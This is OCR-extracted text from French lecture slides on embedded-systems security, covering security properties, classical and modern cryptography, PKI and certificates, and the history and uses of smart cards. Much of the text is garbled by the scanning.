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Plan

* La sécurité * Java Card
* Introduction a la sécurité * Architecture générale
* Quelques définitions * Développement Java Card
* Quelques propriétés * Mise en ceuvre d’une application
* Quelques « outils » pour mettre en malveillante
ceuvre ces propriétés e loT

* Que veut-on protéger ?
e Comment ?
e Comment vérifier la sécurité ?

* La carte a puce
* Concepts de base
* Applications
e SIM/USIM
* EMV
* Prépayés
* Les cartes du futur
* Sasécurité
* Les attaques

* Quelques attaques

Q
@&
Qu'est ce que la sécurite ?
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La sécurité

* La sécurité est une chaine dont la résistance est celle de son maillon
le plus faible !

* La sécurité physique est souvent négligée ! @

* On essaye pour voir ?
g O

Qu'est ce que |a.Se€urite ?

* Comme vous vengXd voir définir la sécurité n'est pas aussi simple
gu'on le pense

 L'approche Ia@ourante concernant la sécurité informatique se
résume so me CIA

* Confid ité (Confidentiality)
* Intégrité (In ity)
* Disponibilité (Availability)
* Pour d'autres types de sécurité (des personnes par exemple), nous
devons la définir en relation avec les risques



Confidentialité

* La confidentialité consiste a empécher des utilisateurs non autorisés
de lire des informations pour lesquelles ils n'ont pas le droit.

* C'est en quelque sorte la propriété de « secret » attachée aux
informations

* Traditionnellement, pour la plupart des gens la sécugitéest assimilé a
la confidentialité
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Confidentialité

 Comment peut on assurer cette propriété ?

* par chiffrement (mécanisme cryptographique) pour assurer la confidentialité
lors de transmission d'information, i.e. pour les communications, mais aussi
pour le stockage

* par l'utilisation de mécanismes de controle d'acces

* Pour un SEM, on peut utiliser des contrbles d'accés aux informaj U aux ressources
(probléme de granularité des droits d'accés)

e Controle d'accés au SEM
* Contréle d'accés aux ressources internes au SEM
e Controle d'accés logique a l'intérieur du SEM
* Attention : Il existe une propriété proche de entialité qui est
I'anonymat. Elle consiste a assurer la confj & Ité d’'une donnée
bien particuliere : l'identité (on peut la 1’ comme un sous

ensemble)
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La Kp@@éq VPODELY
(cryptographie)

En grec ancien, kruptos « caché » et graphein « écrire »
Depuis I'Egypte ancienne, I'homme a voulu pouvoir échanger des informations de

facon confidentielle.
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Quelques définitions

* Les messages a chiffrer, appelés « texte en clair »,
sont transformés grace a une méthode de

chiffrement paramétrable.
* Si la méthode est connue de tous, ce sont les ; I ©e

parametres qui constituent la protection : ils
servent a chiffrer/déchiffrer le message

Texte g flair
Chiffrement
* La sortie du processus de chiffrement est ﬁ

appelée «texte chiffré» ou cryptogramme. P

* Ce cryptogramme est ensuite envoyé a son
destinataire.

Parametres

¢
Quelques défi @

* On appelle cryptandlyse s techniques employées pour dechiffrer un
cryptogramme, s naltre la méthode et/ou ses paramétres.

¢

ssi appelé cryptographie.

* Le chiffremen /A

* L'ensemb techniques de cryptographie et de cryptanalyse est appelé
cryptologie.

* Principe de Kerckhoff (Auguste Kerckhoff, « La cryptographie militaire »,
février 1883)
* L'algorithme doit étre public et tout secret doit résider dans les parameétres de
I'algorithme.
* L'opposant connait le systeme cryptographique

. il'quteAIa sécurité d'un systeme cryptographique doit reposer sur la clé, et pas sur le systeme
ui-méme
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Le chiffrement des données : principe

* Dans la cryptographie moderne

* Le chiffrement repose sur l'utilisation :
* d'un algorithme public, connu de tous;
» d'une clé.

* || existe deux sortes de chiffrement :
e symétrique ;
e asymétrique.
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Cryptographie trique (a clé secrete)
Déchiffrement
* Symétrique =\eme clé secrete de chaque coté

* C’est bien (rapide, slr) mais :
* il faut se rencontrer pour se donner la clé
ou
* faire un échange sécurisé de la clé
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Cryptographie symétrique (a clé secrete)

F
Vo=
: -I e
" , 1 -
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Cryptographie étrique (a clé publique)

Chiffre Déchiffrement
en clair

m’fl‘&l Clé Publique | Clé Privée |
Il'y aunecle que qui sert a chiffrer et une clé privée (secrete) qui sert

Donnges Données U Données
chiffrées Algo Asym en clair
a déchiffrer.

* Chaque personne dispose d’une paire de clés (publique/privée)

Les clés publiques sont diffusées
* (page WEB, annuaires, ...)

La clé privée est gardée PRIVEE
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ie asymé

La

Cryptograph

La clé rouge restera secrete!
Sécurité des systemes embarqués - |

KIL|[M|N[O|P|Q|R|S|T{U |V |W|X|[Y|Z

]

I

(a*x+ b) mod 26
avec a et b des constantes (clé)

y

* Chiffre affine

0fl1)j2]|3||4|[5)[e)[7] 8 210)11]12|13|14|15|]16|]17|18||19||20|[21][22)[23|[24 25

Historique - chi

e Substitution

AlB|C|D|E|[F||G |H

Lettre
Nombre
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Historique - chiffrements alphabétiques

* Carrés de Polybe (5*5 + (I=)))

1 2 3 4 5
1 ¢ R Y P T
2 0 G A H 1)
3 E B D F K
4 L M N Q S
5 U VvV W X Z

JECOUTE EN CLASSE
25311121 511531314311 41 23 45 4531

A vous de déchiffrer ........
3331153142 14 4531 431531 42 14 45

* HSTIGOTPECILEFERYRCALPACA

&

Historigue - chiffr alphabétiques mécaniques
: ne plus fair€ les‘opérations a la main
* Fastidieux o
* Risque de sgftfpmper Seeessss. |

: oe0000000
* Enigma ' Xy




Historique - chiffrements alphabétiques mécaniques

* Réglages initiaux de la machine = Clé secrete

* On regle la machine :
* On choisit 3 lettres : Chaque rotor peut étre mis sur une lettre
* On choisit les lettres échangées dans le tableau de connexions
* On choisit I'ordre des rotors.

Le chiffrement g it —Le masque jetable

Codage de caracter=s (ce n'ast pas de la crypto)

On transforme les signes (lettres) par des nombres (ensemble de o et 1)
selon lztable%5Cll -

‘A’ £ 4019n0001)
Ftainsice suite

Chitiremaint/XOR (Ou-exclusif)

0

Exemple :

MESSAGE = 01001101.01000101.01010011.01010011.01000001.01000111.01000101
SECRETS = 01010011.01000101.01000011.01010010.01000101.01010100.01010011
Resultat = 00011110.00000000.00010000.00000001.00000100.00010011.00010110




En route vers la cryptographie moderne (numérique)

* Avant les algorithmes étaient simples

* Pour étre sécurisés il fallait utiliser des clés longues

* La technique du masque jetable demande une clé aussi longue que le
message a chiffrer !

* Aujourd’hui, le but est d'utiliser des algorithmes sofghist\qués et
complexes associés a des clés courtes.

* Ces algorithmes représentent des investissgQey2 a long terme
* c-a-d qu'ils sont employés pendant de nom nnées jusqu'a ce qu'ils ne
puissent plus assurer le méme niveau de sg

Sécurité des systemes embarqués - | uveron 23
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Le DES (Data E ér@%ion Standard)

* Développé dans les annégey/70 p&/IBM (Lucifer), le chiffrement DES fut adopté et rendu standard
par le gouvernement d tsAJnis en 1977

* Le DES utilise des clés d'une taille de 56 bits ce qui la rend de nos jours facile a casser avec les
nouvelles technologies de cryptanalyse.

* La clé est sur 64 bits dont 8 sont utilisés comme calcul de l'intégrité des 56 autres (parité).

* Le DES a été un standard utilisé pendant plus de 20 ans.

Il a suscité de nombreuses critiques, des suspicions de vulnérabilité a I'attaque de son algorithme,
mais n’a pas eu d’alternatives jusqu’en 2000 : modifié par la NSA, trafiqué par IBM, ...

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron 24



Le DES |w Tee e ol i |

Texte en clair de 64 bits

Texte en clair de 64 bits | | Texte en clair de 64 bits

 un algorithme de chiffrement -- b e e ecate

par confusion/diffusion R A R PR (o werin | [ dessew |
* substitution/permutation - o [ e

¢/ J/ \J/ \L \l/ |32b1ts| ‘32bits|
=—décalage——  =—décalage—

- [ ]
L 7
PN

Cle de 56 bits

vovowo v | 12 de 56 bits |
== Ftape 16
L |

Interversion 32 bits

Transposition itrverse

Texte crypte de 64 bits &
g 4 bits au centre de I'entrée
s 0000 0001 0010 00110100 0101|0110 0111 1000 100110101011 1100 1101 1110 1111
00/0010{11000100/0001/0111{1010{1011/ 0110|1000/ 0101/0011/1111{1101/0000 1110|1001

01/1110/1011/0010 1100{0100/0111|1101 0001 0101 0000{1111/1100|0011 1001 1000 0110
Z32bits

suhbstitution

Bits externes,
100100 0010/0001{1011/1100/1101|0111/1000 1111/1001{1100/0101/0110/0011 00001110
11/1011/1000/1100|0111/0001/1110{0010/1101/0110|1111/0000| 1001|1100 0100 0101|0011

¢

AES, le successeUrdu DES

tton Standard) adopté en 2001
n Daemen et Vincent Rijmen)
ncours lancé par le NIST en 1997

finalistes, 1 vainqueur

* AES (Advanced E
* |l sagit de Rij
 Choisi suite 4

* 15 pro

* || a été¥o ur étre évolutif : la clé fait 128, 192 ou 256 bits

* |l prend en entrée un bloc de 128 bits (16 octets)
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La sécurité par l'obscurité (ou l'insécurité) !

* Les cartes Mifare (NXP) utilisant sur I'algorithme propriétaire Cryptol.

* Le chiffrement A5/1 pour les téléphones m@st devenu public

en partie grace a la rétro-ingénierie

Sécurité des systemes embarqués - @9 E uveron 27

Exemple d'aut @cation

* Avec un algorithr&{symetrique on peut réaliser une authentification
&y~
Bob

Challenge R

C=Chiffré,(R) , Vérification : 5
Déchiffré,(C) = R

OK/NOK
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Problemes de |a cryptographie symétrigue

La gestion et la distribution des clés

Multiplication des clés : .
* Pour établir un canal de communication entre U,,,,Satewﬁ T ﬁ v Vilisatour
deux individus v “"""'h}'
n:: u?‘:!x: T ‘Q.".' . ,'t‘ "E' ":"- ::'?‘.\:::-:}:'E: ::‘:;ik ﬁ Utilisateur C
7 .l:. f B ot .:“.’:-:."..--.:l---c -‘:‘i A
Comment changersaclé? “%3._?? FaR o QA S0
. , Utilisateur | et : N TR AR
’ o* 'l" A , =3 ', ’
* pas facile lorsque c’est une clé de groupe \ £ ?; -, ) R ," v
* Comment s’échanger la clé sans se rencontrer ? f.- d """'"'?- d“iﬁ s
s o e . 4 . (O ilisateur
* Comment écarter une personne du groupe ? ﬁ Dk k33 3"‘..‘ -a ¢
* Lui enlever la clé ? Impossible . *‘ ﬁ
ﬁ Utilisateur E
Utilisateur F

* Changer la clé de tous les autres ?
¢ Contraignant. vt ]

Résolu avec la cryptographie a clé publigque

Sécurité des systémes embarqués - | 2/7A09 - uveron 29
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Deux usages de | tographie a clé publique

* Uordre de présen/ygion es clés a une grande importance !

* Chiffrement ; e usage que la cryptographie a clé secrete
* On chiffrgpv clé publique de la personne.
* Elle po déchiffrer avec sa clé privée.

* Signature : la personne montre gu’elle dispose de la clé privée sans la
dévoiler :

* Elle chiffre le message ou une partie du message avec sa clé privée (on dit
gu’elle signe le message)

* Tout le monde peut déchiffrer le message en utilisant la clé publique (tout le
monde peut vérifier la signature)
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Le chiffrement

1) Alice utilise la clé publique g j@
Salut Bob de Bob pour chiffrer son
publigue privée
Alice message, .

2) Bob utilise sa clé privée

\ (\9 pour le déchiffrer ;@ Salut Bob
publique Message Chiffré
Chiffrement

= F(C5KB°bPr)
ssage chiffré

F tion de chiffrement

message clair

by, = clé privée

C=F(M,KBobg,) 2?2?

C = message chiffré

F = fonction de chiffrement
M = message clair

KBob,, = clé publique

ERFRET43
TSDDd%%

Mallory
. \/
O
Les fonctions d hage
* Les fonctions de (MessageDigest) :

* Prennenten e
* Produisent
* Nesontp

messages de taille quelconque
age de taille fixe (le haché)
ibles : elles sont « one-way »

e Exemple:
* MD5, SHA-1, SHA-256, SHA-512, ... Qe A éviter !

* SHA-3
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La signature

2 X
&
privée publique privée

Salut Bob
Alice - 1 SalwtBob |\
Alice

’

Message Digest

— (S,

Signe avec sa clé Verifie i,
privée :

P signature avec
J@ la clé publique
' 4 d’'Alice
privée

Verificatizon
siynature

On 7:n joie le M’ s: ge en clair et le message digest

(nar1é ou condensé) signé.
On corg.ar> ) as 2 ni2ssages digest a I'arrivée ! (vérification)

33

La cryptographie a rique, une bonne idée ... mais

* C'est un probleme ma atle difficile !

* Au départ, le syste acle @blique n'a d'abord été qu'une idée dont la faisabilité restait

\

a démontrer.

* Des algorith ont été proposés par des mathématiciens

* Un des prefier rithmes proposés repose sur la factorisation du produit de deux
grands nombres ers.

* Cette factorisation demanderait un temps de calcul de plusieurs millions d'années.

* Le probléme est résolu !

A j a

Adi Shamir Ron Rivest Len Adleman

* Cet algorithme a été propose par Rivest, Shamir et Adleman en 1977, ce qui a donné
naissance a RSA.
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Distribution des clés

* Enoncé du probléme :

* Lors du processus de signature, 'émetteur prouve qu’il connait sa propre clé
privée en signant le message

* Le récepteur vérifie la signature en utilisant la clé publique de I'émetteur
* Mais comment a-t-il obtenu cette clé publique ?

* Comment distribuer les clés publiques ? @
e Utiliser en toute confiance celle de I'émetteur ? Un@r

* |l faut soit utiliser une toile de confiance, soit un ucture (PKI)
* Donc des certificats

Sécurité des systemes embarqués - @9 E uveron 35

e Un certificat éIectw elle une entité (physique ou non-physique) a sa

Un certificat

clé publique.

* La confiance dg#fg\e cé)ficat réside dans la confiance dans l'autorité de
certification

=
Let’s Encrypt

Identité du titulaire
Adresse WEB ou couriel
Clef publique de 'usager

" |eGnuPG

* Les standards les plus utilisés pour la création des certificats numériques
sont X.509 ou OpenPGP.

* Des so)/utions plus compactes pour I’loT se développent (50% de place en
moins
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Le modele PK]

* Iy a souvent une hiérarchie de CA

Autorité de
Certification

4. Délivre le certificat
3. Approuve la requéte

2. Authentifie le
demandeur

1. Demande un certificat
Demandeur du

certificat

Autorité
d’Enregistrement

Sécurité des systemes embarqués - | 37
. f . ’ .
Un certiticat en, mals ... Cadenas
Site reconnu
* Il faut le vérifier |
Il faut le veérifier A
/2 Ouvrir une session - Windows Ir cerr et “xpl e i - =] x]
- e o
@@v [« https://signin.ebay.fr/wis/eBay1SANgIAginaUsingssL=18pUserid=gco_partnerld=28steid=718ru=http%3A%2| v | & eBay Inc. [U_qj‘frlirxrl [epay P~
Fichier hage Vopa ?
v = =
T 4} M =B e T
=]
(https) : )
Bienvenue sur eBay
Protocole
s . s . x
L % ey o
sécurisé par étes pas encore membre ? Inscrivez-vous ici Accéder a Mon eBay
L ' " oA i a Bienvenue. Ouvrez une session maintenant
Cerh fl C 01' a;teullrlez I'évolution de vos Affaires & suivre et de vos enchéres en tant que PoiF aaBelor fonEReRr Sl vonaEs o P
gérer votre compte.
i
Jai oublié mon pseudo
Inscrivez-vous sur eBay pour pouvoir béné des diffé Mot de
réservés aux membres passe
ai oublié mon mot de passe
e Surveillez I'évolution de vos Affaires & suivre ou des objets sur lesquels
vous enchérissez I~ Maintenir ma session ouverte pour o
. . toute la journée. Ne cochez pas cette
. 2@::::? ae; FEglute sérénité grace au programme de Protection des it o iy hrdib e ithc
ou partagé.
e Rejoignez la Communauté eBay et bien plus encore !
| S'inscrire
Vous avez des difficultés a ouvrir une
session ? Demandez de l'aide. &l
= o Terming o T - T 100% v
#/émarrer| €3 (3 @ €9 Envoyés pour per. | 3 sgnature | (2 Microsoft poverpol..| [ & ouvrir une sessi... 1 ebayJpG - pant «W OB L] 1037 38




Exemple

Security overview

This page is secure (valid HTTPS).

B Valid certificate
The connection to this site is using a valid, trusted
server certificate issued by thawte SHA256 SSL CA.

View certificate

B Secure connection

The connection to this site is encrypted and
authenticated using TLS 1.2 (a strong protocol),
ECDHE_RSA with P-256 (a strong key exchange), and
AES_256_GCM (a strong cipher).

B Secure resources

All resources on this page are served securely.

& &y | @& Sécurisé | https://www.icgauth.banquepopulaire.fr/

o, BANQUE POPULAIRE
AQUITAINE
CENTRE ATLANTIQUE

BANQUE & ASSURANCE

Certificat

Certificat L
— =3 —

Certificat

Détails | chemin d'accés de |

Général | pétails | Chemir

Général | Détails| Chemin d'acces de certification

| f Informations sur le certificat

= — Champ Valeur =
Ce certificat est o pOUE roles suivants : [Elversion v3

» Garantit Iidentité d'un ordinateur distant Se 1833 03 1d 23 07 6f

[Elnuméro de série
[Z]Algorithme de signature
[]Algorithme de hachage...
[£]Emetteur

[Elvalide & partir du
[Elvalide jusqu'au

« Garantit votre identité auprés d'un ordinateur distant
sha256RSA
cha256

thawte SHAZ56 §|

v/

* Consultez a déclaration de I'autoritd de certification pour p

\\ Chemin d'accés de certfication
’ ‘\ ] thawte Primary Root CA - G3

&1 v icgauth banquepopulaire.fr

’ 5] thawte SHA256 SSL CA

Delivré a : www.icgauth. banquepopulaire.fr
AN\
[CN = vevove.iegauth.banguepopulaigmis
Délivré par:  thowte SHA256 SSL CA OU = ICG BP
0 = BPCE
L = Paris
s = Paris
valide du 07/ 06/ 2017 au 30/ 07/ 2018 FE

Etat du certificat :

Afficher le certificat |

Déclaration de I'€metteur ... Copier dans un fichier...

En savoir plus sur les Gefiificald

Ce certificat est valide.

En savoir plus sur les chemins d'accés des certificats

Comparatif

chiffrement symétrique
O est

beaucoup plus rapide
que

le chiffrement asymétrique...

Crypto non prouvée (symeétrique)
Vs
Crypto prouvée (asymétrique)

Et la cryptographie
guantique dans tout ¢a ?

Et le post-quantique ?
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Intégrité

* L'intégrité consiste a s'assurer que les choses seront faites comme
elles devraient I'étre

* Dans le contexte de l'informatique, |'intégrité consiste a empécher des
utilisateurs non autorisés d'écrire des informations lesquelles ils
n'ont pas le droit.

* Dans un contexte général, |'intégrité consiste 2 @Jrer que |'état
d'un systeme n'a pas été modifié par des p s qui n'ont pas le
droit de le faire.
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¢
Intégrité @

* Dans le contexte dgs{conmunications de données
* l'intégrité se restréin vent a détecter les modifications de ces informations.

* Une propriété he covisiste a identifier de qui l'information provient. C'est
I'authentific s données (peut étre vu comme une généralisation de
I'authentiffgati ‘entité qui porte sur l'authentification d'une donnée bien

'identité )

« Comment peut on assurer cette propriété ?
* Par du controle d'acces
* Par des mécanismes de MAC ou de signature numérique (cryptographie
asymétrique)
* Par des mécanismes de CRC ou Checksum (somme de contrdle) ou de redondance
* Mécanismes assurés par du matériel ou du logiciel
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Lintegrite

® Données et programmes

changeés
Application Software ﬁ
PR
Operating System @
V)

Custom Hardware or pcode M

CPU and Al. rogr

m °
0
Intégrité

* Informations conge{nées par l'intégrité :
* Les données
* Les progra

j.e. € code)

act sur les données des applications, sur les données du systéme lui-
utoriSation de nouveau service, modification de table d'acceés, etc.)

pgut étre volontaire (e.g. une attaque) mais également le fruit d'une erreur

* L'exécution d'un programme ? Comment garantir cela ?
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Disponibilité

* La disponibilité est la propriété d'un systeme d'étre accessible a la
demande par un utilisateur autorisé a y accéder.

e Cette notion va bien au dela de la sécurité et concerne aussi la tolérance
aux fautes.

* D'un point de vue sécurité, on s'intéresse principaleme iter les
attaques par déni de service d'utilisateurs non autoris
* Par exemple, dans le cas d'un serveur web, la disponibilité s que les

requétes sont satisfaites et que |'attaque par déni de ser Jdra\¥ans effet.

QoS (Quality of

* On peut associer a la notion de disponibilité,
nnelle englobe

Service — Qualité de Service). Cette propriét
plusieurs parametres comme par exemple
délai prévu.
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D'autres propr] @

 Attention, il y a d Adtres’propriétés de sécurité en plus de CIA.
0

* ResponsabilitéfAcc ability)
* En pratiqu peut pas empécher des actions malveillantes de se
produire.
=> Les utj eurs doivent étre rendus responsables de leurs actions, y compris
les mauvais s du systeme
* Cela se tradlit souvent par la mise en place d'un mécanisme d'authentification puis un

tracage et un enregistrement des actions ayant trait a la sécurité dans un log d'audit.
* Cette notion permet de faire de I'imputation et de la non répudiation
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D'autres proprietés

* En lien avec la sécurité :
* Fiabilité (Reliability)
* Pour les systemes qui doivent fonctionner correctement dans des conditions adverses, la
sécurité est clairement proche de la fiabilité (reliability) et de la sureté (safety)

* Dépendabilité (Dependability)

* Terme parfois utilisé pour englober la sureté et la fiabilité.

* Si les objectifs de la sécurité et de la dépen 5 sont proches, les
méthodes utilisées pour évaluer les systeed3@nt souvent similaire
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&

Spécificités des Systeme barqués et Mobiles (loT/CaP)

* Le dispositif est entr¢/toutedles mains

* Porte ouverte aux ipAr S, ..
* En oppositiona data @er qui est une unité de lieu bien délimité

* Toutefois leg gsde calculs distribués ouvertes connaissent un peu la méme problématique
* Dispose sou ge connectivité

de d"Une possible attaque
rfois ouverte (type Java)

* Les menaces sont celles des systemes informatiques classiques
* Mais:

* Le contexte d'utilisation de I'objet peut étre spécifique
e PayTV

* Les aspects systeme peuvent étre spécifiques
e Attaques par déclenchement des chauffages en forgant la température sur les capteurs de chauffage

* Les enjeux
e Carte bancaire = argent
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Qu'est ce
qu'on
veut

securiser
?

Sécurité des systemes embarqués -

Asset (les bien

External E (4

Real People
News feeds

Data feeds
Events
Notifications
Etc.

RAPPEL
«Sécurité

‘Dépendabilité : Fiabilité & Sureté
*Confidentialité et Anonymat
JIntegrité et « authentification »
*Disponibilité
*Responsabilite

Mﬁ Data Store

Process

Services Function call Database
Web Services Network traffic File
Assemblies Shared Redgistry
DLLs memory Shared
EXEs Etc. Memory
COM object Queue/Stack
Etc. Etc.

J
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Une autre définition de la sécurité

* Une autre fagon de définir la sécurité, en particulier dans le cas de
systeme non informatique, consiste a faire tout d'abord une analyse
des menaces. La sécurité est alors définie comme la lutte contre les
menaces pergues.

* Toutes les menaces ne sont pas toujours toutes intéressantes a
contrer.
* |l faut donc faire une analyse colt/bénéfice.

* L'analyse de risques consiste a évaluer I'impo
menace pour décider si elle doit ou non étr
* En effet, il peut étre moins colteux de vivre

les empécher.
| Securite des systemes embarqués - I&

V%

Intégration de Scurite

aines menaces que de

uveron

* De ,fagpngénérale, off peutSe demander comment la sécurité peut étre
intégrée dans un sy

* Quels sont les ypes de controles de sécurité et ou sont-ils intégrés ?

* La sécurité 58 dans une application peut étre contournée par une
attaque surles me d'exploitation !

* La sécurité intégrée dans le systeme d'exploitation peut quand a elle étre
contournée par une attaque au niveau du matériel !

* Aussi penser l'intégration de la sécurité dans un systeme depuis sa
conception est bien meilleure que |'ajouter apres coup.
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Quels grands types de controles ?

* Lorsque |'on protege des données dans un systeme informatique, on
utilise souvent des regles sur le comportement du systeme :

* Ces regles peuvent étre :
* Limiter les facons pour manipuler une donnée
* Limiter les opérations qui peuvent étre réalisées sur des ées
* Limiter les utilisateurs qui peuvent réaliser certains types/d'asf\ons

* Les contrbles de sécurité peuvent cibler les donpé pérations
ou les utilisateurs (ou des combinaisons). >

* Les regles ne sont pas les seuls types de s de sécurité E..
* Il ne faut pas oublier la sécurité physique. |

Sécurité des systemes embarqués - |

g 0
Localisation dei§3 troles
* Un systeme IT clam ut se modéliser comme 5 couches :

* Applications/Pro s

* Services : e.g. foalkni pa@n SGBD ou un systéme de fichier distribué

* Le systeme ¢fe ) ation : gestion des fichiers, des impressions, etc.

* Le noyau g9 I'O&IKernel) : intermédiaire pour I'acces au processeur et a la mémoire
* Le maté le processeur et la mémoire

uveron

* Les controles de sécurité peuvent étre localisés dans n'importe laguelle de
ces couches.

e Les mécanismes bas niveaux (pres du matériel) seront plus génériques et
orienté vers la sécurité du systeme alors que plus les mécanismes haut
niveaux (pres des applications) seront plus orientés utilisateur.
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Remarque : Identification/Authentification

Identification
Désignation de |'entité

Accpe

=

o

k[

20
4V
. Droits d’acces
Authentmcatloﬁ
Veérification de |'identité Permissions

Autorisations
préalablement établies,
Confirmation en fonction
de lidentité du profil de |'utilisa

et de ses besgips

Figure 1.2 - Identificatio thentffifation. 55
Q Q
Quelques rem;;3 S
* Pour la sécurité d@ munications, le principal outil est |a
¢

cryptographie

echnologique est a la base du développement

unication Security
* Compusec : Computer Security
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Un cycle infernal!

Produit
Recherche
Recherche
Contre mesures aques
Recher v
g 0
Concepts de sé[r\,z' e et relations

{L}ES propriétaj

souhaitent minimiser ™

pour réduire

contre—mesures

pouvant ewe
réduites par
b -
[HW? conscient

Les agents
menagants

. - i
qlll
accroissent
f 3\

\‘—"__ '+ des menaces
prov uquem sur
"\ s

) qui peuvent
+ inclure

| des vulnérabilités

qui
exploitent les risques

Y
les biens. l

contre

" veulent faire mauvais usage ou peuvent endommager j
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La sécurité c'est bien, mais la confiance, c’est mieux |

Les techniques . .
. q L’ évaluation
d’assurance
—®  J'assurance

produisent donne des éments
de preuve de

L
étant donnée

Les propriétaires

exigent la confiance @
\ - :

59

Inté@éons nous au Systeme Embarqué

le plus sécurisé et le plus étudié :
la carte a puce
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La carte a puce

Un vrai périphérique sécurisé

Sécurité des systemes embarqués - | 2/ 9 - uveron

¢
Sous plan @

¢ Lacarte a puce et les concepts de base, @
* Qu'est-ce qu'une carte ?
* Historique
* Acteurs o

* Quelques chiffres

¢ Deux classifications:
*  Partechnologie pgfir la
¢  Partechnologie d&g

*  Chaine de fabricatio,

*  Lesysteme d'expl

* Standard ISO 7
. Protoc

*  Applications: SIM, banca

e Les sécurités
¢ Au niveau physique
*  Au niveau logicielle
* Au niveau de |'environnement de production
*  Méthodes formelles & Test
+  Evaluation sécuritaire et certification

¢ Les attaques
* Noninvasive
* Invasive

* Les cartes du futur

e Java Card

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron
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Et si on se commencait par une vidéo ?

On ne rit pas ! @

Roland Moreno La carte a puce fpr e sabre).flv

Sécurité des systemes embarqués - @9 E uveron 63

Qu'est ce qu'uyxérte a puce
iq

* Un morceau de pl e la taille d’'une carte de crédit

* Un circuit électroni capable de manipuler (stocker, calculer, ...) des
informations@
-. It Seem( exacty like an
/ \D card. Why i< it called
a "Swavrt cavd”?
=3

Smart = intelligente !
Pourquoi ?
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Historigue

La carte a puce,
une innovation francaise ?

En France : OUI

Dans le reste du monde : NON

* En 1968, deux Allemands Jturgen Dethloff et Helmut Grpfrupy\introduisent
un circuit intégré dans une carte plastique

* déposent un brevet en 1969
* En 1970, K. Arimura au Japon dépose un brevet s-cdrte a puce.

* En 1971, P. Castrucci de IBM dépose aux USA rpvet intitulé Information
Card

Sécurité des systemes embarqués - | 2/ 9 - uveron

Historique @
ere de la carte a puce dépose 47 brevets
= B — .

* Entre 1974 et 1978, le fra and Moreno, le p
dans 11 pays. L i
* (crée ensuite la sociét¢ JAnovdifo i 2 ~ Prototype de puce

* Implication industri Il et Schlumberger portable imaginé

0 2EAR" " par Roland Moreno
@ 11/06/1945 - 29/04/2012 A 4
arjavél dans la « La nuit des temps »

u'un Gonda désirait quelque chose de nouveau, des vétements, un voyage, des objets,
Il pliait le majeur, enfongait sa clé dans un emplacement prévu a cet effet et son
eur central, était aussitét diminué de la valeur de la marchandise ou du service

65

* En 1968, Reng

il payait dvec
compte, a l'ordi
demandés. »
* |l met au point les moyens inhibiteurs logés sur la puce (PIN, compteur, zones, etc.)
* comparaison interne du code confidentiel ;

e compteur d’erreurs, qui provoque l'autodestruction de la puce en cas de soumission répétée d’un
code faux ;

* moyens de traitement ;
* lecture impossible de zones prédéterminées, notamment code confidentiel, clés, etc. ;
e écriture, modification, effacement impossibles de zones prédéterminées de la mémoire.
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Historique
* En 1977, le Francais Michel Ugon (de la compagnie Bull) propose de mettre les
moyens inhibiteurs sur un micro-processeur.

* Mars 1979, Cll Honeywell Bull et Motorola :
* Deux puces: une mémoire 2716 EPROM et un microprocesseu @
* Octobre 1981, puce monolithique Cll-Honeywell Bull

* (CP8 : Circuit Portatif des années 80)
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Q
Historique
* En 1979, la premier est créée par Bull CP8 (1Ko de mémoire
programmable et r se de microprocesseur 6805).
- -
A _ CP2

* En 1983, arition des premieres cartes téléphoniques a mémoire

e commeéfci on des premiéeres télécartes par France Télécom fabriquées
par Schlumba/ger 5

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron




* Entre 1984 et 1987, normes ISO 7816 (carte a puce a contact)
* Objectif : Permettre aux cartes de fonctionner partout dans le monde !

Il 078 856 + 012

;

10.25

19.23

R3.18/

5387 + 005

53.98

ID-600 1D-00 ID'-1

456

En 1989 : Premiéres cartes GSM pour téléphones mobiles
e 1992 : Le GSM devient un produit commercial

* En 1992 : Toutes les cartes CB sont dotées d’un micro-circuit
En 1994 : Développement de la carte de Sécurité Sociale en All ng}pres de 70 millions en 1997)

En 1995 : Début du projet « SESAM Vitale »
* 1999 : Généralisation de la carte vitale (prés de 40 millions)

Sécurité des systéemes embarqué MA - 02 D.
Sauver

Historique

* En 1996 : Développemefifi rtant du porte-monnaie électronique
* En 1996 : Premlerea&
* En 1997, apparij o es premleres Java Cards

* 30ans apre

* En 2004 : Le systeme CB passe au standard international EMV

e En 2004 : Premieres CB sans contact

Sécurité des systémes embarqués - ISIMA - 02/2019 - D.
Sauveron
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La carte a puce aujourd’hui

Aujourd’hui : plus de 10 milliards de cartes seront émises en 2018 !

Monétique :
* Carte bancaire : Groupement Cartes Bancaires, nouvelles cartes EMV, etc.
* Porte-monnaie : Oetopus,Meneo-enFranee; Proton en Belgique, Geldkarte en Allemagne
Identification :
* Cartes d'identité nationales (elD en Belgique), E-passeports (aolt 20 France), Passeport
biométrique (depuis la fin Juin 2009)

* Enseignement (carte d'étudiant et/ou de restauration)

* Téléphonie mobile (carte SIM)

* Secteur médical (carte Vitale en France, carte SIS en ).

* Titre de transport (Passe Navigo a Paris, Oystera L

* Sécurité informatique (authentification forte et #ign électronique): carte
doté d’un cryptoprocesseur pour la génératio és et le stockage de la clé
privée).
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¢

Exemples des P orts

* Depuis 2006 en F

comporte une puce électronique qui stocke les
ellesMu détenteur : (son nom, sa date de naissance, sa
méro de passeport et la photo numérisée du titulaire).

données per,
nationalité

* Depuis le 15 2009 :

* Passeport biométrique : sur une puce RFID, qui permet de lire les
informations a courte distance, sont enregistrés - outre les informations
personnelles classiques et la photo numérisée - deux empreintes digitalisées
des doigts du détenteur (a partir de I'age de 6 ans).
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EURGSMART - EURGSMART

The Voice of the Smart Card Industry The Voice of the Smart Security Industry

* Association fondée en 1994 pour promouvoir la carte a puce

* Membres fondateurs : Bull CP8, Dassault AT, FNMT, Gemplus, Giesecke & Devrient, Oberthur Smart Cards,
ODS Oldenburg Datensysteme, Orga, Delarue Cartes & Systémes, Schlumberger.

* En 2018, Executive members :

= leti mto’ (€] Gieseke & Devrent mTAG
@) e Nationte @ 'f‘,s:'_.d.% QH@?Q\JJ% é.}tso HNEDC
X (DoEmia gz =7
WIS@key +1D winbon,
* Active members, Associated Members, Partners (http://wyly.eur t.com/about/our-members.html)
Sécurité des systemes embarqués - | 2 /749 - uveron

¢

@

Une partie des @rs de |'écosysteme

* Fondeur : Atmel, i{ine®, NXP, Samsung, ST Microelectronics, ...
* Encarteur : Feiti nology, Gemalto, Giesecke&Devrient,

Oberthur Tec gy, Safran Morpho, ...
